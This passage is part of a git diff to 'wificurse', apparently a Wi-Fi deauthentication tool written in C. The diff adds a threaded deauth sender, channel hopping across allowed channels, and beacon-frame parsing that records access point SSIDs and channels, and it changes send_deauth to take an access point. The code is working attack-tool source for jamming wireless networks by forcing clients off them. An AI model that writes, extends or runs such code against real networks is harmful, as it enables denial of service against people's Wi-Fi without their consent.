+ if (channel_isset(&chans, chan))
+ ret = iw_set_channel(&dev, chan);
+ else
+ ret = -1;
+ /* if fails try next channel */
+ } while(++n < CHANNEL_MAX && ret < 0);
+ if (ret < 0) {
print_error();
- goto _errout;
+ goto _errout_no_thread;
+ }
+
+ /* start deauth thread */
+ stop = 0;
+ ta.apl = &apl;
+ ta.dev = &dev;
+ ta.chans_fixed = &chans_fixed;
+ ta.chans = &chans;
+ pthread_mutex_init(&mutex_chan, NULL);
+ ta.mutex_chan = &mutex_chan;
+ pthread_mutex_init(&mutex_list, NULL);
+ ta.mutex_list = &mutex_list;
+ if (pthread_create(&deauth_thread, NULL, deauth_thread_func, &ta) < 0) {
+ err_msg("pthread_create");
+ goto _errout_no_thread;
}
clear_scr();
update_scr(&apl, &dev);
+ tm = time(NULL);
+ gettimeofday(&tv1, NULL);
- while (1) {
+ while (!stop) {
if (poll(pfd, 2, 0) < 0) {
err_msg("poll");
goto _errout;
@@ -173,46 +316,76 @@ int main(int argc, char *argv[]) {
break;
if (pfd[1].revents & POLLIN) {
- ret = read_bssid(dev.fd, bssid);
+ ret = read_ap_info(&dev, &api);
if (ret < 0 && ret != ERRNODATA) { /* error */
print_error();
goto _errout;
- } else if (ret == 0) { /* got BSSID */
- if (add_or_update_ap(&apl, bssid) < 0) {
- print_error();
- goto _errout;
- }
- update_scr(&apl, &dev);
- if (send_deauth(dev.fd, bssid) < 0) {
+ } else if (ret == 0) { /* got infos */
+ channel_set(&chans, api.chan);
+ pthread_mutex_lock(&mutex_list);
+ if (add_or_update_ap(&apl, &api) < 0) {
+ pthread_mutex_unlock(&mutex_list);
print_error();
goto _errout;
}
+ pthread_mutex_unlock(&mutex_list);
}
}
- /* change channel every 3 seconds */
- if (time(NULL) - tm1 >= 3) {
- int n = 0;
+ gettimeofday(&tv2, NULL);
+ if (tv2.tv_usec > tv1.tv_usec)
+ msec = tv2.tv_usec - tv1.tv_usec;
+ else
+ msec = tv1.tv_usec - tv2.tv_usec;
+
+ /* update screen every 0.5 second */
+ if (msec >= 500000) {
+ pthread_mutex_lock(&mutex_list);
+ update_scr(&apl, &dev);
+ pthread_mutex_unlock(&mutex_list);
+ gettimeofday(&tv1, NULL);
+ }
+
+ /* change channel at least every 1 second */
+ if (time(NULL) - tm >= 1) {
+ n = 0;
do {
- chan = (chan % 13) + 1;
- ret = iw_set_channel(&dev, chan);
+ if (pthread_mutex_trylock(&mutex_chan) != 0) {
+ n = -1;
+ break;
+ }
+ chan = (chan % CHANNEL_MAX) + 1;
+ if (channel_isset(&chans, chan))
+ ret = iw_set_channel(&dev, chan);
+ else
+ ret = -1;
+ pthread_mutex_unlock(&mutex_chan);
/* if fails try next channel */
- } while(++n < 13 && ret < 0);
- if (ret < 0) {
- print_error();
- goto _errout;
+ } while(++n < CHANNEL_MAX && ret < 0);
+ if (n != -1) {
+ if (ret < 0) {
+ print_error();
+ goto _errout;
+ }
+ tm = time(NULL);
}
- clear_deauth(&apl);
- update_scr(&apl, &dev);
- tm1 = time(NULL);
}
}
+ /* we got an error from deauth thread */
+ if (stop == 2)
+ goto _errout;
+
printf("\nExiting..\n");
+ stop = 1;
+ pthread_join(deauth_thread, NULL);
iw_close(&dev);
free_ap_list(&apl);
return EXIT_SUCCESS;
_errout:
+ stop = 1;
+ pthread_join(deauth_thread, NULL);
+_errout_no_thread:
iw_close(&dev);
free_ap_list(&apl);
return EXIT_FAILURE;
diff --git a/src/wificurse.h b/src/wificurse.h
@@ -21,10 +21,11 @@
#include <stdint.h>
#include <linux/if.h>
-#include "dev.h"
+#include "iw.h"
+#include "ap_list.h"
-#define VERSION "0.2"
+#define VERSION "0.3"
struct frame_control {
uint8_t protocol_version:2;
@@ -58,8 +59,24 @@ struct mgmt_frame {
uint8_t frame_body[];
} __attribute__((__packed__));
+struct info_element {
+ uint8_t id;
+ uint8_t len;
+ uint8_t info[];
+} __attribute__((__packed__));
+
+#define INFO_ELEMENT_ID_SSID 0
+#define INFO_ELEMENT_ID_DS 3
+
+struct beacon_frame_body {
+ uint64_t timestamp;
+ uint16_t interval;
+ uint16_t capabilities;
+ struct info_element infos[];
+} __attribute__((__packed__));
+
-int send_deauth(int fd, uint8_t *ap_mac);
-int read_bssid(int fd, uint8_t *bssid);
+int send_deauth(struct iw_dev *dev, struct access_point *ap);
+int read_ap_info(struct iw_dev *dev, struct ap_info *api);
#endif